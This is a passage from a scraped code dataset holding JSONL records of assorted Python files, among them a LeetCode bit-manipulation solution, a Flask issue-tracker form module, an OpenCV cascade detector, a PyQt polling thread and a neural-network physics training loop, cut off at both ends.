output.replace('ICON_ONE',icons[0])\n#.replace('ICON_TWO',icons[1]).replace('ICON_THREE',icons[2]).replace('ICON_FOUR',icons[3])\noutput = output.replace('HIGH_ONE',str(highs[0])).replace('HIGH_TWO',str(highs[1])).replace('HIGH_THREE',str(highs[2])).replace('HIGH_FOUR',str(highs[3]))\noutput = output.replace('LOW_ONE',str(lows[0])).replace('LOW_TWO',str(lows[1])).replace('LOW_THREE',str(lows[2])).replace('LOW_FOUR',str(lows[3]))\noutput = output.replace('DATE_VALPLACE',str(dtnow))\n\n# Insert days of week\none_day = datetime.timedelta(days=1)\ndays_of_week = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday']\noutput = output.replace('DAY_ONE',days_of_week[(day_one + 0*one_day).weekday()]).replace('DAY_TWO',days_of_week[(day_one + 1*one_day).weekday()]).replace('DAY_THREE',days_of_week[(day_one + 2*one_day).weekday()]).replace('DAY_FOUR',days_of_week[(day_one + 3*one_day).weekday()])\n\n#original --> output = output.replace('DAY_THREE',days_of_week[(day_one + 2*one_day).weekday()]).replace('DAY_FOUR',days_of_week[(day_one + 3*one_day).weekday()])\n\n# Write output\ncodecs.open('weather-script-output.svg', 'w', encoding='utf-8').write(output)\n","sub_path":"Modified Files/5 Days of the Week Defined/weather-script.py","file_name":"weather-script.py","file_ext":"py","file_size_in_byte":4764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"137330285","text":"arr1=[]\r\narr2=[]\r\nf1=open('negative_tested.txt','r')\r\nf2=open('positive_tested.txt','r')\r\nword1=0\r\ntotal1=0\r\nword2=0\r\ntotal2=0\r\n\r\narr1=f1.readlines()\r\nfor word in arr1:\r\n\tif word=='negative\\n':\r\n\t\tword1+=1\r\n\ttotal1+=1\r\n\r\narr2=f2.readlines()\r\nfor word in arr2:\r\n\tif word=='positive\\n':\r\n\t\tword2+=1\r\n\r\n\ttotal2+=1\r\n\r\n\r\n\r\n\r\nprint('The efficiency of the algrithm(calculated) is:')\r\neff=round(float(float(word1+word2)/float(total1+total2))*100,3)\r\nprint(str(eff)+'%')\r\n\r\n","sub_path":"efficiency.py","file_name":"efficiency.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"601960140","text":"from hwc.hplio import loadProgram, writeAssembly, writeWhitespace\r\nfrom hwc.compiler import compileProgram\r\nfrom hwc.whitespace import translateAssembly\r\nfrom sys import argv\r\n\r\ndef printUsage():\r\n\r\n message = '\\n'\r\n message += \" HaPyLi -> Whitespace Compiler \\n\"\r\n message += \" By Kevin Gundlach \\n\" \r\n message += \"Usage: python main.py [-asm] \\n\"\r\n print(message)\r\n \r\n \r\nif __name__ == \"__main__\":\r\n \r\n if len(argv) == 3:\r\n inputFile = argv[1]\r\n outputFile = argv[2]\r\n asmFlag = False\r\n elif len(argv) == 4:\r\n option = argv[1]\r\n inputFile = argv[2]\r\n outputFile = argv[3]\r\n asmFlag = (option == \"-asm\")\r\n else:\r\n printUsage()\r\n exit()\r\n \r\n program = loadProgram(inputFile)\r\n assembly = compileProgram(program)\r\n \r\n if asmFlag:\r\n writeAssembly(outputFile, assembly)\r\n else:\r\n whitespace = translateAssembly(assembly)\r\n writeWhitespace(outputFile, whitespace)\r\n \r\n print(\"Success!\")\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"610775235","text":"from collections import Counter\nclass Solution:\n def singleNumber(self, nums: int) -> List[int]:\n hashmap = Counter(nums)\n return [x for x in hashmap if hashmap[x] == 1]\n\n'''全员异或操作，得到的结果就是那两个只出现一次的不同的数字的异或结果。\n分组的依据就来了， 就是你取的那一位是 0 分成 1 组，那一位是 1 的分成一组。 这样肯定能保证2. 相同的数字分成相同组, 不同的数字会被分成不同组。'''\n\nclass Solution:\n def singleNumber(self, nums: int) -> List[int]:\n ret = 0# 所有数字异或的结果\n a = 0\n b = 0\n for n in nums:\n ret ^= n #不同的位\n \n h = 1\n while(ret & h == 0):# 从右到左找到不是0的位置\n h <<= 1\n for n in nums:\n # 根据该位是否为0将其分为两组\n if (h & n == 0):\n a ^= n\n else:\n b ^= n\n print(a)\n print(b)\n\n return [a, b]\n\n#3没看\n# https://leetcode-cn.com/problems/single-number-iii/solution/zhi-chu-xian-yi-ci-de-shu-zi-iii-by-leetcode/\nclass Solution:\n def singleNumber(self, nums: int) -> List[int]:\n # difference between two numbers (x and y) which were seen only once\n bitmask = 0 #不同位\n for num in nums:\n bitmask ^= num\n \n # rightmost 1-bit diff between x and y\n diff = bitmask & (-bitmask)\n \n x = 0\n for num in nums:\n # bitmask which will contain only x\n if num & diff:\n x ^= num\n \n return [x, bitmask^x]\n '''\n给定一个整数数组 nums，其中恰好有两个元素只出现一次，其余所有元素均出现两次。 找出只出现一次的那两个元素。\n\n示例 :\n\n输入: [1,2,1,3,2,5]\n输出: [3,5]\n注意：\n\n结果输出的顺序并不重要，对于上面的例子， [5, 3] 也是正确答案。\n你的算法应该具有线性时间复杂度。你能否仅使用常数空间复杂度来实现？'''","sub_path":"leetcode_solution/leetcode类别/17位运算/中等/260. 只出现一次的数字 III.py","file_name":"260. 只出现一次的数字 III.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"92293189","text":"def core(matrix,m,n):\n start = []\n end = []\n for i in range(m):\n for j in range(n):\n if matrix[i][j] == 'S':\n start = [i, j]\n if matrix[i][j] == 'E':\n end = [i, j]\n if not start or not end:\n return False\n queue = [start]\n visited = set()\n visited.add(tuple(start))\n while queue:\n if end in queue:\n return True\n x, y = queue.pop(0)\n for ix, iy in [[x + 1, y], [x - 1, y], [x, y + 1], [x, y - 1]]:\n if 0 <= ix < m and 0 <= iy < n and (ix,iy) not in visited and matrix[ix][iy] in '.E':\n queue.append([ix, iy])\n visited.add((ix,iy))\n return False\n \n\nif __name__ == '__main__':\n T = int(input())\n for _ in range(T):\n m, n = list(map(int, input().split()))\n matrix = []\n for i in range(m):\n matrix.append(list(input().strip()))\n res = core(matrix,m,n)\n if res:\n print('YES')\n else:\n print('NO')","sub_path":"test3.py","file_name":"test3.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"304392904","text":"import json,os\nfrom . import atrdict\nimport numpy as np\nfrom .Leash import initcommand\nimport time\nfrom PyQt4 import QtGui\nfrom PyQt4 import QtCore\nclass plotthread(QtCore.QThread):\n def __init__(self,app):\n super(plotthread, self).__init__()\n self.app=app\n self.lastcount=0\n self.lastmergecount=0\n self.queuestarttime=None\n def run(self):\n self.queuestarttime=None\n \n while True:\n time.sleep(2)\n resultstr=initcommand(self.app.options,[\"stat\"],self.app.netconf)\n result=json.loads(resultstr)\n if \"Error\" in result['data']:\n print(\"Error here\")\n continue\n if 'start time' in result['data'][\"stat\"]:\n starttime=result['data'][\"stat\"]['start time']\n if self.queuestarttime and self.queuestarttime!=starttime:\n self.emit(QtCore.SIGNAL('ServerQueueTimeChanged()'))\n \n self.queuestarttime=starttime\n \n if ( 'images processed' in result['data'][\"stat\"]):\n fresh=False\n if(result['data'][\"stat\"]['images processed']!=self.lastcount):\n self.lastcount=result['data'][\"stat\"]['images processed']\n plotdata=initcommand(self.app.options,[\"plotdata\"],self.app.netconf)\n self.emit(QtCore.SIGNAL('plotdata(QString)'), plotdata)\n else:\n self.emit(QtCore.SIGNAL('histupdate(QString)'),resultstr)\n if ( 'mergecount' in result['data'][\"stat\"]): \n if(result['data'][\"stat\"]['mergecount']!=self.lastmergecount):\n self.lastmergecount=result['data'][\"stat\"]['mergecount']\n mergedata=initcommand(self.app.options,[\"getmergedata\"],self.app.netconf)\n self.emit(QtCore.SIGNAL('mergeresultdata(QString)'), mergedata)\n print(\"getmergedata\")\n \n elif result[\"result\"]==\"Error\":\n self.emit(QtCore.SIGNAL('ProtocolError(QString)'), plotdata)\n ","sub_path":"SAXS/plotdatathread.py","file_name":"plotdatathread.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"330728489","text":"import physics_engine as pe\r\nimport neural_network as nn\r\nfrom environments import Environment\r\nimport numpy as np\r\nfrom time import time\r\nimport random as r\r\n\r\nstart_time = time() # just a timer\r\n\r\ndef get_l2_error(difference):\r\n share_proportion = .5 - (nn.nonlin(np.random.normal()) / 2)\r\n complement = 1 - share_proportion\r\n shared_difference = [(difference[0] * complement) + (difference[1] * share_proportion),\r\n (difference[1] * complement) + (difference[0] * share_proportion)]\r\n\r\n return np.array([-nn.tanh(shared_difference[0] / 100), -nn.tanh(shared_difference[1] / 100)])\r\n\r\n\r\n# for mutating DNA so that half of its gens at random are reset\r\ndef mutate_half(dna, gene_range):\r\n for i in range(len(dna)):\r\n if r.random < .5:\r\n dna[i] = np.random.uniform(gene_range[0], gene_range[1])\r\n\r\n return dna\r\n\r\n# for changing variables in NN runs by small amounts\r\ndef tweak(x):\r\n delta = x * (np.random.normal(scale=.02) + .05)\r\n\r\n if r.random() < .5:\r\n return x - delta\r\n return x + delta\r\n\r\n\r\n# all 6 possible orders in which the algorithm will be introduced to the environments\r\norders = [['PS', 'TD', 'SV'],\r\n ['PS', 'SV', 'TD'],\r\n ['TD', 'PS', 'SV'],\r\n ['TD', 'SV', 'PS'],\r\n ['SV', 'TD', 'PS'],\r\n ['SV', 'PS', 'TD']]\r\n# possible start locations for PS_1's rocket (solids[1])\r\nps1_starts = [[-11.001, .1], [.1, -11.001], [11.001, .1], [.1, 11.001], [7.8, 7.8], [-7.8, 7.8], [-7.8, -7.8], [7.8, -7.8]]\r\n\r\n# 6 environments for the LT ML algorithm to use, only initialized with instance variables that will be kept constant\r\nPS_1 = Environment(solids=[pe.Circle(static=True),\r\n pe.Circle(radius=1, pos=[0, 11.01])],\r\n g_type='nonuniform',\r\n g_strength=100)\r\nPS_2 = Environment(solids=[pe.Circle(static=True, pos=[-100, 0], mass=100),\r\n pe.Circle(radius=1, pos=[-88.99, 0], mass=1),\r\n pe.Circle(radius=3, pos=[1, 0], velocity=[0, 3.162])],\r\n g_type='nonuniform',\r\n g_strength=10)\r\nTD_1 = Environment(solids=[pe.Circle(pos=[1, 1]),\r\n pe.Rect(static=True, pos=[-155, 0], height=300),\r\n pe.Rect(static=True, pos=[155, 0], height=300),\r\n pe.Rect(static=True, pos=[0, -155], width=300),\r\n pe.Rect(static=True, pos=[0, 155], width=300)],\r\n g_type='downward',\r\n g_strength=.2)\r\nTD_2 = Environment(solids=[pe.Circle(pos=[-100, -100]),\r\n pe.Rect(static=True, width=150, pos=[10, 0]),\r\n pe.Rect(static=True, pos=[-155, 0], height=300),\r\n pe.Rect(static=True, pos=[155, 0], height=300),\r\n pe.Rect(static=True, pos=[0, -155], width=300),\r\n pe.Rect(static=True, pos=[0, 155], width=300)],\r\n g_type='downward',\r\n g_strength=.2)\r\nSV_1 = Environment(solids=[pe.Circle()],\r\n g_type='uniform',\r\n g_strength=[0, -9.81])\r\nSV_2 = Environment(solids=[pe.Circle(),\r\n pe.Rect(static=True, pos=[100, -450], height=1000),\r\n pe.Rect(static=True, pos=[100, 600], height=1000)],\r\n g_type='uniform',\r\n g_strength=[0, -9.81])\r\n\r\n# each NN run will have 10^magnitude iterations\r\nmagnitude = 2\r\n\r\n# loop through 6 possible order of environment paths\r\nfor order in orders:\r\n print(order)\r\n\r\n # loop through each path within that order\r\n for path in order:\r\n print(path)\r\n\r\n if path == 'PS':\r\n # start things off\r\n e = PS_1\r\n time_limit = 50\r\n\r\n n = nn.NeuralNetwork(np.array([[e.solids[1].pos[0], e.solids[1].pos[1], e.g_strength, time_limit]]), 8)\r\n\r\n # run neural network\r\n for i in range(10 ** magnitude):\r\n # tweak a variable every 25 iterations\r\n if i % 25 == 0:\r\n if (i / 25) % 3 == 0:\r\n e.solids[1].pos = r.choice(ps1_starts)\r\n n.inputs[0][0] = e.solids[1].pos[0]\r\n n.inputs[0][1] = e.solids[1].pos[1]\r\n elif (i / 25) % 3 == 1:\r\n temp = tweak(e.g_strength)\r\n if temp > 0:\r\n e.g_strength = temp\r\n n.inputs[0][2] = temp\r\n else:\r\n temp = tweak(time_limit)\r\n if temp > 0:\r\n time_limit = temp\r\n n.inputs[0][3] = temp\r\n\r\n # turn the inputs into outputs using existing weights\r\n n.feedforward()\r\n\r\n # setup for running physics engine\r\n initial_velocity = [n.l2[0][0] * 10, n.l2[0][1] * 10]\r\n e.solids[1].velocity = initial_velocity\r\n e.solids[1].pos = [n.inputs[0][0], n.inputs[0][1]]\r\n\r\n # run physics engine and use it in the cost function to determine error for later use in backpropagation\r\n runtime = pe.run_physics_engine(tick_length=.2, environ=e, time_limit=time_limit, e_type='PS_1')\r\n\r\n # modify data for optimal use by backpropagation algorithm\r\n difference = [runtime, runtime]\r\n\r\n if i == (10 ** magnitude) - 1:\r\n print('PS_1', difference)\r\n\r\n n.backpropagation(get_l2_error(difference))\r\n\r\n\r\n # start things off again\r\n e = PS_2\r\n time_limit = 50\r\n\r\n n.inputs = np.array([[e.solids[2].pos[0], e.solids[2].pos[1], e.g_strength, 3.162]])\r\n\r\n # run neural network\r\n for i in range(10 ** magnitude):\r\n # tweak a variable every 25 iterations\r\n if i % 25 == 0:\r\n if (i / 25) % 2 == 0:\r\n e.solids[2].pos[0] = tweak(e.solids[2].pos[0])\r\n n.inputs[0][0] = e.solids[2].pos[0]\r\n elif (i / 25) % 2 == 1:\r\n temp = tweak(e.g_strength)\r\n if temp > 0:\r\n e.g_strength = temp\r\n n.inputs[0][2] = temp\r\n\r\n n.inputs[0][3] = (100 * e.g_strength / e.solids[2].pos[0])\r\n\r\n # turn the inputs into outputs using existing weights\r\n n.feedforward()\r\n\r\n # setup for running physics engine\r\n initial_velocity = [n.l2[0][0] * 10, n.l2[0][1] * 10]\r\n e.solids[1].velocity = initial_velocity\r\n e.solids[1].pos = [-88.99, 0]\r\n\r\n # run physics engine and use it in the cost function to determine error for later use in backpropagation\r\n vel = pe.run_physics_engine(tick_length=.2, environ=e, time_limit=time_limit, e_type='PS_2')\r\n\r\n # modify data for optimal use by backpropagation algorithm\r\n difference = [initial_velocity[0] - vel[0], initial_velocity[1] - vel[1]]\r\n\r\n if i == (10 ** magnitude) - 1:\r\n print('PS_2', difference)\r\n\r\n n.backpropagation(get_l2_error(difference))\r\n\r\n\r\n elif path == 'TD':\r\n # start things off\r\n e = TD_1\r\n time_limit = 10 ** 3\r\n destination = [100, 100]\r\n\r\n n.inputs = np.array([[e.solids[0].pos[0], e.solids[0].pos[1], destination[0], destination[1]]])\r\n\r\n # run neural network\r\n for i in range(10 ** magnitude):\r\n # tweak a variable every 25 iterations\r\n if i % 25 == 0:\r\n if (i / 25) % 4 == 0:\r\n temp = tweak(e.solids[0].pos[0])\r\n if abs(temp) <= 130:\r\n e.solids[0].pos[0] = temp\r\n n.inputs[0][0] = temp\r\n elif (i / 25) % 4 == 1:\r\n temp = tweak(e.solids[0].pos[1])\r\n if abs(temp) <= 130:\r\n e.solids[0].pos[1] = temp\r\n n.inputs[0][1] = temp\r\n elif (i / 25) % 4 == 2:\r\n temp = tweak(destination[0])\r\n if abs(temp) <= 130:\r\n destination[0] = temp\r\n n.inputs[0][2] = temp\r\n else:\r\n temp = tweak(destination[1])\r\n if abs(temp) <= 130:\r\n destination[1] = temp\r\n n.inputs[0][3] = temp\r\n\r\n # turn the inputs into outputs using existing weights\r\n n.feedforward()\r\n\r\n # setup for running physics engine\r\n initial_velocity = [n.l2[0][0] * 10, n.l2[0][1] * 10]\r\n e.solids[0].velocity = initial_velocity\r\n e.solids[0].pos = [n.inputs[0][0], n.inputs[0][1]]\r\n\r\n # run physics engine and use it in the cost function to determine error for later use in backpropagation\r\n end_pos = pe.run_physics_engine(tick_length=.2, environ=e, time_limit=time_limit, e_type='TD_1')\r\n\r\n # modify data for optimal use by backpropagation algorithm\r\n difference = [destination[0] - end_pos[0], destination[1] - end_pos[1]]\r\n\r\n if i == (10 ** magnitude) - 1:\r\n print('TD_1', difference)\r\n\r\n n.backpropagation(get_l2_error(difference))\r\n\r\n # start things off again\r\n e = TD_2\r\n time_limit = 10 ** 3\r\n destination = [100, 100]\r\n\r\n n.inputs = np.array([[destination[0], destination[1], e.solids[1].pos[0], 2]])\r\n\r\n # run neural network\r\n for i in range(10 ** magnitude):\r\n # tweak a variable every 25 iterations\r\n if i % 25 == 0:\r\n if (i / 25) % 3 == 0:\r\n temp = tweak(destination[0])\r\n if abs(temp) <= 130:\r\n destination[0] = temp\r\n n.inputs[0][0] = temp\r\n elif (i / 25) % 3 == 1:\r\n temp = tweak(destination[1])\r\n if 20 <= temp <= 130:\r\n destination[1] = temp\r\n n.inputs[0][1] = temp\r\n elif (i / 25) % 3 == 2:\r\n temp = tweak(e.solids[1].pos[0])\r\n if abs(temp) <= 150:\r\n e.solids[1].pos[0] = temp\r\n n.inputs[0][2] = temp\r\n\r\n # ternary value\r\n if e.solids[1].pos[0] <= -75:\r\n n.inputs[0][3] = 0\r\n elif e.solids[1].pos[0] >= 75:\r\n n.inputs[0][3] = 1\r\n else:\r\n n.inputs[0][3] = 2\r\n\r\n # turn the inputs into outputs using existing weights\r\n n.feedforward()\r\n\r\n # setup for running physics engine\r\n initial_velocity = [n.l2[0][0] * 10, n.l2[0][1] * 10]\r\n e.solids[0].velocity = initial_velocity\r\n e.solids[0].pos = [-100, -100]\r\n\r\n # run physics engine and use it in the cost function to determine error for later use in backpropagation\r\n end_pos = pe.run_physics_engine(tick_length=.2, environ=e, time_limit=time_limit, e_type='TD_2')\r\n\r\n # modify data for optimal use by backpropagation algorithm\r\n difference = [destination[0] - end_pos[0], destination[1] - end_pos[1]]\r\n\r\n if i == (10 ** magnitude) - 1:\r\n print('TD_2', difference)\r\n\r\n n.backpropagation(get_l2_error(difference))\r\n\r\n n.backpropagation(get_l2_error(difference))\r\n elif path == 'SV':\r\n # start things off\r\n e = SV_1\r\n time_limit = 10 ** 2\r\n destination = [100, 10]\r\n\r\n n.inputs = np.array([[destination[0], destination[1], e.g_strength[1], 0]])\r\n\r\n # run neural network\r\n for i in range(10 ** magnitude):\r\n # tweak a variable every 25 iterations\r\n if i % 25 == 0:\r\n if (i / 25) % 3 == 0:\r\n destination[0] = tweak(destination[0])\r\n n.inputs[0][0] = destination[0]\r\n elif (i / 25) % 3 == 1:\r\n destination[1] = tweak(destination[1])\r\n n.inputs[0][1] = destination[1]\r\n else:\r\n temp = tweak(e.g_strength[1])\r\n if temp > 0:\r\n e.g_strength[1] = temp\r\n n.inputs[0][3] = temp\r\n\r\n # turn the inputs into outputs using existing weights\r\n n.feedforward()\r\n\r\n # setup for running physics engine\r\n initial_velocity = [n.l2[0][0] * 10, n.l2[0][1] * 10]\r\n e.solids[0].velocity = initial_velocity\r\n e.solids[0].pos = [0, 0]\r\n\r\n # run physics engine and use it in the cost function to determine error for later use in backpropagation\r\n end_pos = pe.run_physics_engine(tick_length=.2, environ=e, time_limit=time_limit, e_type='SV_1', destination=destination)\r\n\r\n # modify data for optimal use by backpropagation algorithm\r\n difference = [destination[0] - end_pos[0], destination[1] - end_pos[1]]\r\n\r\n if i == (10 ** magnitude) - 1:\r\n print('TD_1', difference)\r\n\r\n n.backpropagation(get_l2_error(difference))\r\n\r\n # start things off again\r\n e = SV_2\r\n time_limit = 10 ** 2\r\n\r\n n.inputs = np.array([[50, 10, 100, e.g_strength[1]]])\r\n\r\n # run neural network\r\n for i in range(10 ** magnitude):\r\n # tweak a variable every 25 iterations\r\n if i % 25 == 0:\r\n if (i / 25) % 2 == 0:\r\n temp = tweak(e.g_strength[1])\r\n if temp > 0:\r\n e.g_strength[1] = temp\r\n n.inputs[0][3] = temp\r\n else:\r\n temp = tweak(e.solids[1].pos[0])\r\n e.solids[1].pos[0] = temp\r\n e.solids[2].pos[0] = temp\r\n n.inputs[0][2] = temp\r\n\r\n # turn the inputs into outputs using existing weights\r\n n.feedforward()\r\n\r\n # setup for running physics engine\r\n initial_velocity = [n.l2[0][0] * 10, n.l2[0][1] * 10]\r\n e.solids[0].velocity = initial_velocity\r\n e.solids[0].pos = [0, 0]\r\n\r\n # run physics engine and use it in the cost function to determine error for later use in backpropagation\r\n end_pos = pe.run_physics_engine(tick_length=.2, environ=e, time_limit=time_limit, e_type='SV_2')\r\n\r\n # modify data for optimal use by backpropagation algorithm\r\n difference = [-e.solids[0].pos[0], -e.solids[0].pos[0]]\r\n\r\n if i == (10 ** magnitude) - 1:\r\n print('SV_2', difference)\r\n\r\n n.backpropagation(get_l2_error(difference))\r\n\r\n\r\nprint('time elapsed:', time() - start_time) # just a timer\r\n","sub_path":"long_term.py","file_name":"long_term.py","file_ext":"py","file_size_in_byte":15864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"226948377","text":"import os\nimport logging\n\nfrom src.train import svm\nfrom src.train import lstm\n\ndef config_log():\n \"\"\"Config logging.\"\"\"\n s_handler= logging.StreamHandler()\n s_handler.setLevel(logging.INFO)\n info_handler = logging.FileHandler(filename=os.path.join(\"output\", \"log\", \"info.log\"), mode=\"w\", encoding=\"utf-8\")\n info_handler.setLevel(level=logging.INFO)\n err_handler = logging.FileHandler(filename=os.path.join(\"output\", \"log\", \"error.log\"), mode=\"w\", encoding=\"utf-8\")\n err_handler.setLevel(logging.ERROR)\n\n logging.basicConfig(level=logging.INFO,\n datefmt=\"%H:%M:%M\",\n format=\"{asctime} [{levelname}]>> {message}\",\n style=\"{\",\n handlers=[s_handler, info_handler, err_handler])\n\n\ndef main():\n config_log()\n lstm()\n # svm()\n\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"588741306","text":"from flask.ext.login import current_user\nfrom flask.ext.wtf.file import FileAllowed, FileField\n\nfrom flask_wtf import Form\nfrom wtforms import BooleanField, StringField, TextAreaField, SelectField, DateField\nfrom wtforms.validators import DataRequired, InputRequired\nfrom wtforms.widgets import TextArea\nfrom datetime import datetime as dt\n\nfrom project.utils.choices import ChoicesVendor, ChoicesUser, \\\n issue_category, issue_status, issue_severity, ChoicesMemo, issue_action_by\n\nclass DisabledDateField(DateField):\n def __call__(self, *args, **kwargs):\n kwargs.setdefault('disabled', True)\n return super(DisabledDateField, self).__call__(*args, **kwargs)\n\nclass IssueForm(Form):\n vendor_id = SelectField('Vendor Name:',\n validators=[DataRequired()],\n default=1,\n choices=ChoicesVendor(),\n coerce=int\n )\n user_id = SelectField('Person In Charge:',\n validators=[DataRequired()],\n default=lambda: current_user.id,\n choices=ChoicesUser(),\n coerce=int\n )\n# issue_no = StringField('Issue No:',\n# description='Eg. Issue No. 1231231',\n# validators=[DataRequired()\n# ])\n contract_no = StringField('Contract No:',\n description='Eg. 33H/2004',\n validators=[DataRequired()\n ])\n end_user = StringField('End User:',\n description='Eg. Ziad Khater',\n validators=[DataRequired()\n ])\n remarks = TextAreaField('Remarks:',\n widget=TextArea()\n )\n impact = TextAreaField('Impact of Issue:',\n widget=TextArea()\n )\n category = SelectField('Catergory:',\n validators=[DataRequired()],\n default=1,\n choices=issue_category,\n coerce=int\n )\n status = SelectField('Status:',\n validators=[DataRequired()],\n default=1,\n choices=issue_status,\n coerce=int\n )\n severity = SelectField('Severity:',\n validators=[DataRequired()],\n default=1,\n choices=issue_severity,\n coerce=int\n )\n issue_description = TextAreaField('Description:',\n widget=TextArea()\n )\n waiting_date = DateField('Waiting Date:',\n validators=[InputRequired()],\n format='%m/%d/%Y',\n default=dt.now(),\n )\n\n issue_date = DateField('Issue Date:',\n validators=[InputRequired()],\n format='%m/%d/%Y',\n default=dt.now()\n )\n\n close_date = DisabledDateField('Close Date:',\n default=dt.now(),\n format='%m/%d/%Y'\n )\n\nclass EditIssueForm(Form):\n pass\n\nclass IssueHistoryForm(Form):\n memo_id = SelectField('Memo Reference:',\n# validators=[DataRequired()],\n default=1,\n choices=ChoicesMemo(),\n coerce=int\n )\n action_taken = TextAreaField('Action Taken:',\n widget=TextArea()\n )\n next_action = TextAreaField('Next Action:',\n widget=TextArea()\n )\n remarks = TextAreaField('Remarks:',\n widget=TextArea()\n )\n action_taken_by = SelectField('Action Taken By:',\n validators=[DataRequired()],\n default=1,\n choices=issue_action_by,\n coerce=int\n )\n status = SelectField('Status:',\n validators=[DataRequired()],\n default=1,\n choices=issue_status,\n coerce=int\n )\n\n feedback_date = DateField('Expected Date Response:',\n validators=[InputRequired()],\n default=dt.now(),\n format='%m/%d/%Y'\n )\n\n action_date = DateField('Action Date:',\n validators=[InputRequired()],\n default=dt.now(),\n format='%m/%d/%Y'\n )\n\n close_date = DateField('Close Date:',\n validators=[InputRequired()],\n default=dt.now(),\n format='%m/%d/%Y'\n )\n","sub_path":"project/issue/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"38839854","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django import forms\nfrom django.contrib.admin.widgets import AdminFileWidget\nfrom image_cropping.widgets import ImageCropWidget as BaseImageCropWidget\n\nfrom .models import Image\n\n\nclass ImageUploadForm(forms.ModelForm):\n \"\"\"\n This form will let you upload a new image.\n\n \"\"\"\n class Meta:\n model = Image\n fields = ('image',)\n\n\nclass ImageCropWidget(BaseImageCropWidget):\n input_type = 'hidden'\n template_with_initial = '%(input)s'\n\n\nclass ImageCropForm(forms.ModelForm):\n \"\"\"\n Set the clipping paths and sizes for an image.\n\n \"\"\"\n class Meta:\n model = Image\n fields = ('image', 'image_ratio',)\n widgets = {\n 'image': ImageCropWidget\n }\n","sub_path":"hotornot/image_ratings/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"349818590","text":"import numpy as np\nimport cv2\nimport imutils\ncar_cascade = cv2.CascadeClassifier(\"cascade.xml\")\ncamera = cv2.VideoCapture('cavalo.mp4')\nwhile True:\n img = camera.read()[1]\n img = imutils.resize(img, width=min(400, img.shape[1]))\n height, width, c = img.shape\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n objetos = car_cascade.detectMultiScale(gray, 1.2, 5)\n print(objetos)\n for (x, y, w, h) in objetos:\n cv2.rectangle(img, (x, y), (x+w, y+h), (0, 0, 255), 2)\n\n cv2.imshow('Analise', img)\n ch = cv2.waitKey(25)\n if ch == 27:\n break\ncv2.destroyAllWindows()\n\n# opencv_annotation --annotations=saida.txt --images=positives/\n# opencv_createsamples -info saida.txt -bg bg.txt -vec positives.txt -w 24 -h 24\n# opencv_traincascade -data treinamento -vec positives.txt -bg bg.txt -numPos 23 -numNeg 435 -w 24 -h 24 -precalcValBufSize 1024 -precalcIdxBufSize 1024 -numStages 30 -acceptanceRatioBreakValue 1.0e-5\n\n# opencv_createsamples -img train.jpeg -bg bg.txt -info info/info.txt -pngoutput info -maxxangle 0.5 -maxyangle -0.5 -maxzangle 0.5 -num 1950\n# opencv_traincascade -data treinamento -vec info/info.txt -bg bg.txt -numPos 420 -numNeg 435 -w 24 -h 24 -precalcValBufSize 1024 -precalcIdxBufSize 1024 -numStages 30 -acceptanceRatioBreakValue 1.0e-5\n# Ver a saida\n# opencv_createsamples -w 24 -h 24 -vec relogios.vev","sub_path":"cavalo/analiseTreinamentoVideo.py","file_name":"analiseTreinamentoVideo.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"200109796","text":"from torch.utils import data\nimport torch\nimport os\nfrom collections import defaultdict\nimport numpy as np\nfrom utils.vocab import Vocabulary, build_vocab\nimport random\nfrom nltk import word_tokenize\n\n\nclass Yelp(data.Dataset):\n \"\"\"The Yelp dataset.\"\"\"\n\n def __init__(self, mode, noisy_for_train):\n self.mode = mode\n self.root = os.path.join('../data', 'yelp')\n voc_f = os.path.join('../data/yelp', 'yelp.vocab')\n if self.mode == 'dev':\n self.max_len = 30\n else:\n self.max_len = 20\n self.noisy = self.mode == 'train' and noisy_for_train\n\n # Load data from domain 0 and domain 1.\n path0 = os.path.join(self.root, 'sentiment.{}.0'.format(mode))\n data0 = []\n self.remove0 = []\n with open(path0) as f:\n for i, line in enumerate(f):\n sent = line.split()\n if 4 < len(sent) < self.max_len:\n data0.append(sent)\n else:\n self.remove0.append(i)\n print('{}/{} removed from domain 0'.format(len(self.remove0), len(self.remove0) + len(data0)))\n path1 = os.path.join(self.root, 'sentiment.{}.1'.format(mode))\n data1 = []\n self.remove1 = []\n with open(path1) as f:\n for i, line in enumerate(f):\n sent = line.split()\n if 4 < len(sent) < self.max_len:\n data1.append(sent)\n else:\n self.remove1.append(i)\n print('{}/{} removed from domain 1'.format(len(self.remove1), len(self.remove1) + len(data1)))\n self.l0 = len(data0)\n self.l1 = len(data1)\n # Make up for the same length.\n if len(data0) < len(data1):\n data0 = makeup(data0, len(data1))\n if len(data1) < len(data0):\n data1 = makeup(data1, len(data0))\n assert len(data0) == len(data1)\n self.data0 = data0\n self.data1 = data1\n\n if self.mode == 'dev':\n self.max_len += 5\n\n # Load vocabulary.\n print('----- Loading 